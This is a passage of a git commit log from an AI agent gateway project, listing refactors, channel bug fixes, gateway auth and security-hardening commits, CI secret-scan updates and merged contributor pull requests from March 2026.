Co-authored-by: Zhichao Cheng <cheng.zhichao@xydigit.com>
2026-03-07 23:41:57 +00:00
Peter Steinberger
2fc95a7cfc fix(exec): close dispatch-wrapper boundary drift 2026-03-07 23:40:38 +00:00
Peter Steinberger
adf4eb487b fix(signal): forward all inbound attachments from #39212 (thanks @joeykrug)
Co-authored-by: Joey Krug <joeykrug@gmail.com>
2026-03-07 23:35:55 +00:00
Peter Steinberger
939b18475d fix(exec): honor shell comments in allow-always analysis 2026-03-07 23:31:25 +00:00
Peter Steinberger
1aaca517e3 fix(media): harden unknown mime handling from #39199 (thanks @nicolasgrasset)
Co-authored-by: Nicolas Grasset <nicolas.grasset@gmail.com>
2026-03-07 23:30:32 +00:00
Peter Steinberger
dc92f2e19d refactor: share nextcloud onboarding allowFrom lookup 2026-03-07 23:27:51 +00:00
Peter Steinberger
4956271da1 refactor: share provider allowlist input normalization 2026-03-07 23:27:51 +00:00
Peter Steinberger
c9128e1f3f refactor: share trimmed list normalization in provider helpers 2026-03-07 23:27:51 +00:00
Peter Steinberger
c5bd84309a refactor: share allowFrom stringification helpers 2026-03-07 23:27:51 +00:00
Peter Steinberger
99d14a820a refactor: share route policy evaluation in chat monitors 2026-03-07 23:27:51 +00:00
Peter Steinberger
8c15b8600c refactor: share sender group policy evaluation 2026-03-07 23:27:51 +00:00
Peter Steinberger
d228a62143 refactor: share trimmed string entry normalization 2026-03-07 23:27:51 +00:00
Peter Steinberger
6647d02846 refactor: share dock config adapter helper scaffolding 2026-03-07 23:27:51 +00:00
Peter Steinberger
556aa8a702 refactor: share config adapter allowFrom and defaultTo helpers 2026-03-07 23:27:51 +00:00
Peter Steinberger
feac26c3b7 refactor: share allowFrom formatter scaffolding 2026-03-07 23:27:51 +00:00
Peter Steinberger
c91bfa830a refactor: share route-level group gating decisions 2026-03-07 23:27:51 +00:00
Peter Steinberger
5bbca5be91 refactor: share sender-scoped group policy derivation 2026-03-07 23:27:51 +00:00
Peter Steinberger
621063a956 style: format plugin helper tests 2026-03-07 23:27:51 +00:00
Peter Steinberger
b7d03ea1f5 refactor: centralize open group-policy warning flow collectors 2026-03-07 23:27:51 +00:00
Peter Steinberger
b456649974 refactor: unify account-scoped dm security policy resolver 2026-03-07 23:27:51 +00:00
Peter Steinberger
7230b96cc7 refactor: unify extension allowlist resolver and directory scaffolding 2026-03-07 23:27:51 +00:00
Peter Steinberger
8e0e76697a refactor: unify channel open-group-policy warning builders 2026-03-07 23:27:51 +00:00
Peter Steinberger
4b61779a46 refactor: unify extension webhook request lifecycle scaffolding 2026-03-07 23:27:51 +00:00
Peter Steinberger
27dad962fe refactor: normalize runtime group sender gating decisions 2026-03-07 23:27:51 +00:00
Peter Steinberger
5eba663c38 refactor: unify onboarding secret-input prompt state wiring 2026-03-07 23:27:51 +00:00
Peter Steinberger
6b1c82c4f1 refactor: unify onboarding dm/group policy scaffolding 2026-03-07 23:27:51 +00:00
Peter Steinberger
fecca6fd8d refactor: unify gateway SecretRef auth resolution paths 2026-03-07 23:27:50 +00:00
Peter Steinberger
5f26970200 fix(ui): land #28608 from @KimGLee
Landed from contributor PR #28608 by @KimGLee.

Co-authored-by: Kim <150593189+KimGLee@users.noreply.github.com>
2026-03-07 23:26:09 +00:00
Peter Steinberger
1d1757b16f fix(exec): recognize PowerShell encoded commands 2026-03-07 23:15:46 +00:00
Peter Steinberger
5b27b0cecf refactor(outbound,agents): extract shared payload and queue helpers 2026-03-07 23:07:16 +00:00
Peter Steinberger
7ab49a7fb7 test(regression): cover recent landed fix paths 2026-03-07 23:07:16 +00:00
Peter Steinberger
c76d29208b fix(node-host): bind approved script operands 2026-03-07 23:04:00 +00:00
Altay
bfbe80ab7d test(ui): reduce gateway client test mocking (#39251) 2026-03-08 01:58:44 +03:00
Peter Steinberger
708187f28c fix(outbound): prevent replay after ack crash windows (#38668, thanks @Gundam98)
Co-authored-by: Gundam98 <huhanwen98@gmail.com>
2026-03-07 22:53:27 +00:00
Peter Steinberger
3ca023bf44 chore(test): normalize install assertion formatting 2026-03-07 22:51:08 +00:00
Peter Steinberger
265367d99b fix(gateway): land #28428 from @l0cka
Landed from contributor PR #28428 by @l0cka.

Co-authored-by: Daniel Alkurdi <danielalkurdi@gmail.com>
2026-03-07 22:51:08 +00:00
Peter Steinberger
e83094e63f fix(agents): warn clearly on unresolved model ids (#39215, thanks @ademczuk)
Co-authored-by: ademczuk <andrew.demczuk@gmail.com>
2026-03-07 22:50:27 +00:00
Peter Steinberger
3a761fbcf8 fix(agents): strip unsupported responses store payloads (#39219, thanks @ademczuk)
Co-authored-by: ademczuk <andrew.demczuk@gmail.com>
2026-03-07 22:47:41 +00:00
Peter Steinberger
ab704b7aca fix(gateway): explain provider-object password bootstrap errors (#39230, thanks @ademczuk)
Co-authored-by: ademczuk <andrew.demczuk@gmail.com>
2026-03-07 22:44:44 +00:00
Peter Steinberger
e45d62ba26 fix(memory): preserve BM25 relevance ordering (#33757, thanks @lsdcc01)
Land #33757 by @lsdcc01 without the unrelated dependency bump. Preserve negative FTS5 BM25 ordering in hybrid scoring and add changelog coverage for #5767.

Co-authored-by: 丁春才0668000523 <ding.chuncai1@xydigit.com>
2026-03-07 22:41:48 +00:00
Peter Steinberger
99de6515a0 fix(telegram): surface fallback on dispatch failures (#39209, thanks @riftzen-bit)
Co-authored-by: riftzen-bit <binb53339@gmail.com>
2026-03-07 22:41:09 +00:00
Peter Steinberger
f53e10e3fd fix(config): fail closed on invalid config load (#9040, thanks @joetomasone)
Land #9040 by @joetomasone. Add fail-closed config loading, compat coverage, and changelog entry for #5052.

Co-authored-by: Joe Tomasone <joe@tomasone.com>
2026-03-07 22:39:26 +00:00
Peter Steinberger
3a74dc00bf fix(gateway): land #38725 from @ademczuk
Source: #38725 / 533ff3e70b by @ademczuk.
Thanks @ademczuk.

Co-authored-by: ademczuk <andrew.demczuk@gmail.com>
2026-03-07 22:35:38 +00:00
Peter Steinberger
8ca326caa9 fix(ui): land #37382 from @FradSer
Separate shared gateway auth from cached device-token signing in Control UI browser auth. Preserves shared-token validation while keeping cached device tokens scoped to signed device payloads.

Co-authored-by: Frad LEE <fradser@gmail.com>
2026-03-07 22:33:24 +00:00
Peter Steinberger
b4bac484e3 fix(gateway): stop webchat route inheritance on channel sessions (#39175, thanks @widingmarcus-cyber)
Co-authored-by: Marcus Widing <widing.marcus@gmail.com>
2026-03-07 22:22:23 +00:00
Peter Steinberger
3a2fdc5136 fix(memory): restore sqlite busy_timeout on reopen (#39183, thanks @MumuTW)
Co-authored-by: MumuTW <clothl47364@gmail.com>
2026-03-07 22:17:55 +00:00
Peter Steinberger
733f7af92b fix(heartbeat): keep requests-in-flight retries from drifting schedule (#39182, thanks @MumuTW)
Co-authored-by: MumuTW <clothl47364@gmail.com>
2026-03-07 22:10:51 +00:00
Peter Steinberger
42bf4998d3 fix(telegram): reset webhook cleanup latch after polling 409 conflicts (#39205, thanks @amittell)
Co-authored-by: amittell <mittell@me.com>
2026-03-07 22:08:41 +00:00
Peter Steinberger
c934dd51c0 fix(daemon): normalize schtasks runtime from numeric result only (#39153, thanks @scoootscooob)
Co-authored-by: scoootscooob <zhentongfan@gmail.com>
2026-03-07 22:06:20 +00:00
Peter Steinberger
be9ea991de fix(discord): avoid native plugin command collisions 2026-03-07 21:59:44 +00:00
Peter Steinberger
4dcd930923 fix(test): strip windows drive prefix from darwin hints 2026-03-07 21:46:34 +00:00
Peter Steinberger
eb616b709f fix(test): normalize darwin runtime hint paths 2026-03-07 21:40:52 +00:00
Peter Steinberger
e20f445099 fix(supervisor): keep service-managed children attached (#38463, thanks @spirittechie)
Co-authored-by: Jesse Paul <drzin69@gmail.com>
2026-03-07 21:36:24 +00:00
Peter Steinberger
cc7e61612a fix(gateway): harden service-mode stale process cleanup (#38463, thanks @spirittechie)
Co-authored-by: Jesse Paul <drzin69@gmail.com>
2026-03-07 21:36:24 +00:00
Peter Steinberger
1835d5808f fix(test): align feishu pairing assertion 2026-03-07 21:36:04 +00:00
Peter Steinberger
6181fe22c7 fix(ci): refresh detect-secrets allowlists and baseline 2026-03-07 21:30:04 +00:00
Peter Steinberger
a617cd7b79 fix(test): restore long dep for full vitest gate 2026-03-07 21:23:06 +00:00
Peter Steinberger
e3c21c913d fix(ci): refresh secret baseline and UI state types 2026-03-07 21:17:57 +00:00
Peter Steinberger
b9dd6e99b6 fix(daemon): avoid freezing Windows PATH in task scripts (#39139, thanks @Narcooo)
Co-authored-by: majx_mac <mjxnarco@pku.edu.cn>
2026-03-07 21:15:01 +00:00
Peter Steinberger
f51cac277c fix(discord): make message listener non-blocking (#39154, thanks @yaseenkadlemakki)
Co-authored-by: Yaseen Kadlemakki <yaseen82@gmail.com>
2026-03-07 21:13:47 +00:00
Peter Steinberger
7649712356 fix(config): degrade gracefully on missing env vars (#39050, thanks @akz142857)
Co-authored-by: ziy <ziyang.liu@wahool.com>
2026-03-07 21:12:26 +00:00
Peter Steinberger
92f5a2e252 fix(models): refresh gpt/gemini alias defaults (#38638, thanks @ademczuk)
Co-authored-by: ademczuk <andrew.demczuk@gmail.com>
2026-03-07 21:10:58 +00:00
Peter Steinberger
a3db68f9ab fix(telegram): guard null persisted update id normalization 2026-03-07 21:10:58 +00:00
Peter Steinberger
c35f529fac refactor: share daemon install plan runtime scaffolding 2026-03-07 21:09:27 +00:00
Peter Steinberger
dfe8cd028e refactor: share discord allowlist resolver scaffolding 2026-03-07 21:09:27 +00:00
Peter Steinberger
804d989b29 refactor: share slack allowlist resolver scaffolding 2026-03-07 21:09:27 +00:00
Peter Steinberger
b955ba1688 refactor: consolidate daemon runtime and start hints 2026-03-07 21:09:26 +00:00
Peter Steinberger
a91731a831 refactor: centralize gateway auth env credential readers 2026-03-07 21:09:26 +00:00
Peter Steinberger
f0b05869fc refactor: share onboarding account id resolution prelude 2026-03-07 21:09:26 +00:00
Peter Steinberger
168e4159ad fix(podman): honor OPENCLAW_GATEWAY_BIND env-file override (#38785, thanks @majinyu666)
Co-authored-by: majinyu666 <majy14miles@gmail.com>
2026-03-07 21:08:15 +00:00
Peter Steinberger
c0c2f82147 docs(agents): require clickable commit SHAs in PR landing comments 2026-03-07 21:07:40 +00:00
Peter Steinberger
f2a92e7c84 fix(agents): forward websocket maxTokens=0 correctly
Landed from #39148 by @scoootscooob.

Co-authored-by: scoootscooob <zhentongfan@gmail.com>
2026-03-07 20:51:26 +00:00
Peter Steinberger
330579ef96 fix(telegram): resolve status SecretRefs with provider-safe env checks
Landed from #39130 by @neocody.

Co-authored-by: Cody <25426121+neocody@users.noreply.github.com>
2026-03-07 20:50:07 +00:00
Peter Steinberger
2015ab3194 fix(telegram): harden persisted offset confirmation and stall recovery
Landed from #39111 by @MumuTW.

Co-authored-by: MumuTW <clothl47364@gmail.com>
2026-03-07 20:47:33 +00:00
Peter Steinberger
9b4a114eb6 fix(browser): keep dispatcher context with no-retry hints
Landed from #39090 by @NewdlDewdl.

Co-authored-by: NewdlDewdl <rohin.agrawal@gmail.com>
2026-03-07 20:45:06 +00:00
Peter Steinberger
f17f2f918c fix(gateway): order bootstrap cache clear after embedded run wait
Landed from #38873 by @MumuTW.

Co-authored-by: MumuTW <clothl47364@gmail.com>
2026-03-07 20:42:33 +00:00
Peter Steinberger
3ec81709d7 refactor: unify shared utility normalization helpers 2026-03-07 20:33:50 +00:00
Peter Steinberger
30d091b2fb refactor: share thread binding id parser 2026-03-07 20:33:50 +00:00
Peter Steinberger
95fe282a17 refactor: unify channel status snapshot base fields 2026-03-07 20:33:50 +00:00
Peter Steinberger
b9e7521463 refactor: unify directory config entry extraction 2026-03-07 20:33:50 +00:00
Peter Steinberger
b0ac284dae refactor: share setup account config patch helper 2026-03-07 20:33:50 +00:00
Peter Steinberger
2ee8b807f8 refactor: dedupe discord account inspect config merge 2026-03-07 20:33:50 +00:00
Peter Steinberger
7242777d63 refactor: unify account list/default scaffolding 2026-03-07 20:33:50 +00:00
Peter Steinberger
2bcd56cfac refactor: unify DM pairing challenge flows 2026-03-07 20:33:50 +00:00
Tars
dab0e97c22 fix(models): support minimax-portal coding plan vlm routing for image tool (openclaw#33953)
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: tars90percent <252094836+tars90percent@users.noreply.github.com>
2026-03-07 14:30:53 -06:00
Tyler Yust
e554c59aac fix(cron): eliminate double-announce and replace delivery polling with push-based flow (#39089)
* fix(cron): eliminate double-announce and replace delivery polling with push-based flow

- Set deliveryAttempted=true in announce early-return paths (active-subagent
  suppression and stale-interim suppression) so the heartbeat timer no longer
  fires a redundant enqueueSystemEvent fallback (double-announce bug).

- Refactor waitForDescendantSubagentSummary to use event-based agent.wait RPC
  calls instead of a 500ms busy-poll loop.  Each active descendant run is now
  awaited concurrently via Promise.allSettled, and only a short bounded grace
  period (5s) remains to capture the cron agent's post-orchestration synthesis.
  Eliminates O(n*timeoutMs/500ms) gateway calls and wasted wall-clock time.

- Add FAST_TEST_MODE (OPENCLAW_TEST_FAST=1) to subagent-followup.ts to keep
  the grace-period tests instant in CI.

- Add comprehensive tests for the new waitForDescendantSubagentSummary behaviour
  (push-based wait, error resilience, NO_REPLY handling, multi-descendant waits).

* fix: prep cron double-announce followup tests (#39089) (thanks @tyler6204)
2026-03-07 12:13:37 -08:00
Altay
97f9e25525 fix(ci): restore strip-ansi and typecheck fixtures (#39146)
* fix: restore strip-ansi and typecheck fixtures

* test: normalize windows install path assertions
2026-03-07 23:13:13 +03:00
Yi-Cheng Wang
4682f3cace Fix/Complete LINE requireMention gating behavior (#35847)
* fix(line): enforce requireMention gating in group message handler

* fix(line): scope canDetectMention to text messages, pass hasAnyMention

* fix(line): fix TS errors in mentionees type and test casts

* feat(line): register LINE in DOCKS and CHAT_CHANNEL_ORDER

- Add "line" to CHAT_CHANNEL_ORDER and CHAT_CHANNEL_META in registry.ts
- Export resolveLineGroupRequireMention and resolveLineGroupToolPolicy
  in group-mentions.ts using the generic resolveChannelGroupRequireMention
  and resolveChannelGroupToolsPolicy helpers (same pattern as iMessage)
- Add "line" entry to DOCKS in dock.ts so resolveGroupRequireMention
  in the reply stage can correctly read LINE group config

Fixes the third layer of the requireMention bug: previously
getChannelDock("line") returned undefined, causing the reply-stage
resolveGroupRequireMention to fall back to true unconditionally.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* fix(line): pending history, requireMention default, mentionPatterns fallback

- Default requireMention to true (consistent with other channels)
- Add mentionPatterns regex fallback alongside native isSelf/@all detection
- Record unmentioned group messages via recordPendingHistoryEntryIfEnabled
- Inject pending history context in buildLineMessageContext when bot is mentioned

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* test(line): update tests for requireMention default and pending history

- Add requireMention: false to 6 group tests unrelated to mention gating
  (allowlist, replay dedup, inflight dedup, error retry) to preserve
  their original intent after the default changed from false to true
- Add test: skips group messages by default when requireMention not configured
- Add test: records unmentioned group messages as pending history

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* fix(line): use undefined instead of empty string as historyKey sentinel

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* fix(line): deliver pending history via InboundHistory, not Body mutation

- Remove post-hoc ctxPayload.Body injection (BodyForAgent takes priority
  in the prompt pipeline, so Body was never reached)
- Pass InboundHistory array to finalizeInboundContext instead, matching
  the Telegram pattern rendered by buildInboundUserContextPrefix

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* fix(line): pass agentId to buildMentionRegexes for per-agent mentionPatterns

- Resolve route before mention gating to obtain agentId
- Pass agentId to buildMentionRegexes, matching Telegram behavior

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* fix(line): clear pending history after handled group turn

- Call clearHistoryEntriesIfEnabled after processMessage for group messages
- Prevents stale skipped messages from replaying on subsequent mentions
- Matches Discord, Signal, Slack, iMessage behavior

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* style(line): fix import order and merge orphaned JSDoc in bot-handlers

- Move resolveAgentRoute import from ./local group to ../routing group
- Merge duplicate JSDoc blocks above getLineMentionees into one

Addresses Greptile review comments r2888826724 and r2888826840 on PR #35847.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* fix(line): read historyLimit from config and guard clear with has()

- bot.ts: resolve historyLimit from cfg.messages.groupChat.historyLimit
  with fallback to DEFAULT_GROUP_HISTORY_LIMIT, so setting historyLimit: 0
  actually disables pending history accumulation
- bot-handlers.ts: add groupHistories.has(historyKey) guard before
  clearHistoryEntriesIfEnabled to prevent writing empty buckets for
  groups that have never accumulated pending history (memory leak)

Addresses Codex review comments r2888829146 and r2888829152 on PR #35847.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* style(line): apply oxfmt formatting to bot-handlers and bot

Auto-formatted by oxfmt to fix CI format:check failure on PR #35847.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* fix(line): add shouldLogVerbose to globals mock in bot-handlers test

resolveAgentRoute calls shouldLogVerbose() from globals.js; the mock
was missing this export, causing 13 test failures.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* Address review findings for #35847

---------

Co-authored-by: Kaiyi <me@kaiyi.cool>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
Co-authored-by: Yi-Cheng Wang <yicheng.wang@heph-ai.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-07 14:06:07 -06:00
Peter Steinberger
d6f28a3da7 fix(usage): format near-million token counts as millions (#39129)
Co-authored-by: CurryMessi <curry-messi@users.noreply.github.com>
2026-03-07 19:59:12 +00:00
Peter Steinberger
80a6eb3131 fix(daemon): use locale-invariant schtasks running code detection (#39076)
Co-authored-by: ademczuk <andrew.demczuk@gmail.com>
2026-03-07 19:56:47 +00:00
Peter Steinberger
3c1176110a fix(agents): avoid double websocket retry accounting on reconnect failures (#39133)
Co-authored-by: scoootscooob <zhentongfan@gmail.com>
2026-03-07 19:55:28 +00:00
Peter Steinberger
ac86deccee fix(gateway): harden plugin HTTP route auth 2026-03-07 19:55:06 +00:00
Peter Steinberger
cf290e31bd fix(voice-call): align plugin manifest schema with runtime config fields (#38892)
Co-authored-by: giumex <giuliano.messina@gmail.com>
2026-03-07 19:49:58 +00:00
Peter Steinberger
43b36bfe8c fix(gateway): flush chat delta before tool-start events (#39128)
Co-authored-by: john <john.j@min123.net>
2026-03-07 19:46:04 +00:00
Peter Steinberger
e4497234c7 fix(agents): increment compaction counter on overflow-triggered compaction (#39123)
Co-authored-by: MumuTW <clothl47364@gmail.com>
2026-03-07 19:44:06 +00:00
Peter Steinberger
4c2cb73055 fix(config): sanitize validation log output to prevent control character injection (#39116)
Co-authored-by: Bill <gsamzn@gmail.com>
2026-03-07 19:41:59 +00:00
Peter Steinberger
0e4603ac71 fix(agents): respect compat.supportsStore in WebSocket stream path (#39113)
Co-authored-by: scoootscooob <zhentongfan@gmail.com>
2026-03-07 19:40:34 +00:00
Peter Steinberger
5f8f58ae25 fix(gateway): require admin for chat config writes 2026-03-07 19:38:49 +00:00
Peter Steinberger
724d2d58fa fix(discord): avoid false model picker mismatch warning (#39105)
Land #39105 by @akropp.

Co-authored-by: Adam Kropp <adam@thekropp.com>
2026-03-07 19:32:35 +00:00
Peter Steinberger
17ab46aedd fix(models): prevent plaintext apiKey writes to models state (#38889)
Land #38889 by @gambletan.

Co-authored-by: gambletan <ethanchang32@gmail.com>
2026-03-07 19:29:46 +00:00
Peter Steinberger
de2ccffec1 fix(ui): stream tool events live in control chat (#39104)
Land #39104 by @jakepresent.

Co-authored-by: Jake Present <jakepresent@microsoft.com>
2026-03-07 19:27:17 +00:00
Sally O'Malley
499c1ee6e3 reduce image size, offer slim image (#38479)
Signed-off-by: sallyom <somalley@redhat.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-07 14:26:29 -05:00
Peter Steinberger
d72734946a fix(security): harden install base drift cleanup 2026-03-07 19:23:01 +00:00
Peter Steinberger
c06014d50c fix(agents): respect explicit provider baseUrl in merge mode (#39103)
Land #39103 by @BigUncle.

Co-authored-by: BigUncle <biguncle2017@gmail.com>
2026-03-07 19:22:21 +00:00
Peter Steinberger
537c97cce9 fix(agents): apply contextTokens cap for compaction threshold (#39099)
Land #39099 by @MumuTW.

Co-authored-by: MumuTW <clothl47364@gmail.com>
2026-03-07 19:19:03 +00:00
Peter Steinberger
e27bbe4982 fix(exec): block dangerous override-only env pivots 2026-03-07 19:18:05 +00:00
Peter Steinberger
6aa80844b8 fix(security): stage installs before publish 2026-03-07 19:11:07 +00:00
ademczuk
70be8ce15c fix(daemon): normalise whitespace in checkTokenDrift to prevent false-positive warning (#39108) 2026-03-07 14:10:54 -05:00
Peter Steinberger
74ecdec9ba fix(security): harden fs-safe copy writes 2026-03-07 19:10:27 +00:00
Peter Steinberger
6bfae2714f refactor: dedupe bluebubbles webhook auth test setup 2026-03-07 19:02:01 +00:00
Peter Steinberger
acf3ff91e4 refactor: dedupe discord native command test scaffolding 2026-03-07 19:02:01 +00:00
Peter Steinberger
0848a47c97 refactor: dedupe anthropic probe target test setup 2026-03-07 19:02:01 +00:00
Peter Steinberger
8928aba7ee refactor: dedupe minimax provider auth test setup 2026-03-07 19:02:01 +00:00
Peter Steinberger
143eca8e86 refactor: dedupe runtime snapshot test fixtures 2026-03-07 19:02:01 +00:00
Peter Steinberger
31acad4e8f fix: harden zip extraction writes 2026-03-07 19:01:35 +00:00
Peter Steinberger
0f53177971 fix(tests): stabilize diffs localReq headers (supersedes #39063)
Co-authored-by: Shennng <Shennng@users.noreply.github.com>
2026-03-07 18:57:35 +00:00
Peter Steinberger
253e159700 fix: harden workspace skill path containment 2026-03-07 18:56:15 +00:00
Peter Steinberger
5effa6043e fix(agents): land #38935 from @MumuTW
Co-authored-by: MumuTW <MumuTW@users.noreply.github.com>
2026-03-07 18:55:49 +00:00
Peter Steinberger
231c1fa37a fix(models): land #38947 from @davidemanuelDEV
Co-authored-by: davidemanuelDEV <davidemanuelDEV@users.noreply.github.com>
2026-03-07 18:54:12 +00:00
Peter Steinberger
2f59a3cff3 fix(gateway): land #39064 from @Narcooo
Co-authored-by: Narcooo <Narcooo@users.noreply.github.com>
2026-03-07 18:52:42 +00:00
Peter Steinberger
2ada1b71b6 fix(models-auth): land #38951 from @MumuTW
Co-authored-by: MumuTW <MumuTW@users.noreply.github.com>
2026-03-07 18:51:17 +00:00
Peter Steinberger
02f99c0ff3 docs: clarify agent owner trust defaults 2026-03-07 18:48:27 +00:00
Peter Steinberger
729ee165ed docs(gateway): clarify trusted operator HTTP endpoints 2026-03-07 18:48:17 +00:00
Peter Steinberger
8bd0eb5424 fix(outbound): land #38944 from @Narcooo
Co-authored-by: Narcooo <Narcooo@users.noreply.github.com>
2026-03-07 18:46:48 +00:00
Tak Hoffman
52e7d4295e fix(gateway): clear stale Slack socket state after disconnect (#39083)
* fix(gateway): restore stale-socket recovery

* test(slack): cover clean socket disconnect status
2026-03-07 12:37:32 -06:00
Peter Steinberger
fbb9bb08c5 style(test): format gateway auth token coverage 2026-03-07 18:33:30 +00:00
Peter Steinberger
10d0e3f3ca fix(dashboard): keep gateway tokens out of URL storage 2026-03-07 18:33:30 +00:00
Vincent Koc
f966dde476 tests: fix detect-secrets false positives (#39084)
* Tests: rename gateway status env token fixture

* Tests: allowlist feishu onboarding fixtures

* Tests: allowlist Google Chat private key fixture

* Docs: allowlist Brave API key example

* Tests: allowlist pairing password env fixtures

* Chore: refresh detect-secrets baseline
2026-03-07 13:21:29 -05:00
Vincent Koc
3acf46ed45 Tests: fix doctor gateway auth token formatting 2026-03-07 10:18:52 -08:00
Vincent Koc
5290d97574 Docs: fix web tools MDX links 2026-03-07 10:15:22 -08:00
Vincent Koc
912f7a5525 CI: enable Windows pnpm side-effects cache 2026-03-07 10:11:52 -08:00
Vincent Koc
de7848e227 CI: cache Python and Windows pnpm stores 2026-03-07 10:11:51 -08:00
Vincent Koc
61273c072c Docs: remove MDX-breaking secret markers 2026-03-07 10:09:00 -08:00
Vincent Koc
e4d80ed556 CI: restore main detect-secrets scan (#38438)
* Tests: stabilize detect-secrets fixtures

* Tests: fix rebased detect-secrets false positives

* Docs: keep snippets valid under detect-secrets

* Tests: finalize detect-secrets false-positive fixes

* Tests: reduce detect-secrets false positives

* Tests: keep detect-secrets pragmas inline

* Tests: remediate next detect-secrets batch

* Tests: tighten detect-secrets allowlists

* Tests: stabilize detect-secrets formatter drift
2026-03-07 10:06:35 -08:00
Peter Steinberger
46e324e269 docs(changelog): credit hook auth throttling report 2026-03-07 18:05:11 +00:00
Peter Steinberger
44820dcead fix(hooks): gate methods before auth lockout accounting 2026-03-07 18:05:09 +00:00
jsk
262fef6ac8 fix(discord): honor commands.allowFrom in guild slash auth (#38794)
* fix(discord): honor commands.allowFrom in guild slash auth

* Update native-command.ts

Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>

* Update native-command.commands-allowfrom.test.ts

Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>

* fix(discord): address slash auth review feedback

* test(discord): add slash auth coverage for allowFrom variants

* fix: add changelog entry for discord slash auth fix (#38794) (thanks @jskoiz)

---------

Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
Co-authored-by: Shadow <hi@shadowing.dev>
2026-03-07 12:03:52 -06:00
Peter Steinberger
278e5220ec test: narrow pairing setup helper token type 2026-03-07 17:58:31 +00:00
Peter Steinberger
9dc759023b refactor(agents): share skill plugin fixture writer in tests 2026-03-07 17:58:31 +00:00
Peter Steinberger
7eb48d3cf8 refactor(auto-reply): share discord auth registry test fixture 2026-03-07 17:58:31 +00:00
Peter Steinberger
ce9719c654 refactor(test-utils): share direct channel plugin test fixture 2026-03-07 17:58:31 +00:00
Peter Steinberger
5f56333016 refactor(commands): dedupe config-only channel status fixtures 2026-03-07 17:58:31 +00:00
Peter Steinberger
bcb587a3bc refactor(commands): dedupe channel plugin test fixture builders 2026-03-07 17:58:31 +00:00
Peter Steinberger
66de964c59 refactor(tui): dedupe mode-specific exec secret fixtures 2026-03-07 17:58:31 +00:00
Peter Steinberger
e60b28fd1f refactor(tui): dedupe gateway token resolution path 2026-03-07 17:58:31 +00:00
Peter Steinberger
a96ef12061 refactor(memory): dedupe local embedding init concurrency fixtures 2026-03-07 17:58:31 +00:00
Peter Steinberger
98ed7f57c6 refactor(feishu): dedupe non-streaming reply dispatcher setup 2026-03-07 17:58:31 +00:00
Peter Steinberger
6b0785028f refactor(feishu): dedupe accounts env secret-ref checks 2026-03-07 17:58:31 +00:00
Peter Steinberger
7fddb357cb refactor(feishu): dedupe client timeout assertion scaffolding 2026-03-07 17:58:31 +00:00
Peter Steinberger
ac5f018877 refactor(feishu): dedupe onboarding status env setup tests 2026-03-07 17:58:31 +00:00
Peter Steinberger
72df4bd624 refactor(web): dedupe self-chat response-prefix tests 2026-03-07 17:58:31 +00:00
Peter Steinberger
7e94dec679 refactor(pairing): dedupe inferred auth token fixtures 2026-03-07 17:58:31 +00:00
Peter Steinberger
19245dd547 refactor(gateway): dedupe blocked chat reply mock setup 2026-03-07 17:58:31 +00:00
Peter Steinberger
4cdf867cb1 refactor(gateway): dedupe maintenance timer test setup 2026-03-07 17:58:31 +00:00
Peter Steinberger
0de6778f13 refactor(gateway): dedupe legacy migration validation assertions 2026-03-07 17:58:31 +00:00
Peter Steinberger
f7a7f08e15 refactor(gateway): dedupe probe route assertion loops 2026-03-07 17:58:31 +00:00
Peter Steinberger
25efbdafce refactor(gateway): dedupe missing-local-token fixture tests 2026-03-07 17:58:31 +00:00
Peter Steinberger
49df8ab7b6 refactor(gateway): dedupe invalid image request assertions 2026-03-07 17:58:31 +00:00
Peter Steinberger
b7733d6f5c refactor(agents): dedupe oauth token env setup tests 2026-03-07 17:58:31 +00:00
Peter Steinberger
ca49372a8d refactor(agents): dedupe anthropic turn validation fixtures 2026-03-07 17:58:31 +00:00
Peter Steinberger
02b3e85eac refactor(agents): dedupe embedded fallback e2e helpers 2026-03-07 17:58:31 +00:00
Peter Steinberger
2d4a0c79a3 refactor(agents): dedupe nodes photos_latest camera tests 2026-03-07 17:58:31 +00:00
Peter Steinberger
2891c6c93c refactor(agents): dedupe model fallback probe failure tests 2026-03-07 17:58:31 +00:00
Peter Steinberger
e41613f6ec refactor(agents): dedupe kilocode fetch-path tests 2026-03-07 17:58:31 +00:00
Peter Steinberger
53c1ae229f refactor(agents): dedupe minimax api-key normalization tests 2026-03-07 17:58:31 +00:00
Peter Steinberger
4e8fcc1d3d refactor(cli): dedupe command secret gateway env fixtures 2026-03-07 17:58:31 +00:00
Peter Steinberger
c1a8f8150e refactor(commands): dedupe gateway status token secret fixtures 2026-03-07 17:58:31 +00:00
Peter Steinberger
4113a0f39e refactor(gateway): dedupe readiness healthy snapshot fixtures 2026-03-07 17:58:31 +00:00
Peter Steinberger
3d18c6ecec refactor(googlechat): dedupe outbound media runtime fixture setup 2026-03-07 17:58:31 +00:00
Peter Steinberger
6b778c4048 refactor(zalouser): reuse shared QR temp file writer 2026-03-07 17:58:31 +00:00
Peter Steinberger
c5bb6db85b refactor(cron): share isolated-agent turn core test setup 2026-03-07 17:58:31 +00:00
Peter Steinberger
41e0c35b61 refactor(cron): reuse cron job builder in issue-13992 tests 2026-03-07 17:58:31 +00:00
Peter Steinberger
d918fe3ecf refactor(mattermost): dedupe interaction callback test flows 2026-03-07 17:58:31 +00:00
Peter Steinberger
90a41aa1f7 refactor(discord): dedupe resolve channels fallback tests 2026-03-07 17:58:31 +00:00
Peter Steinberger
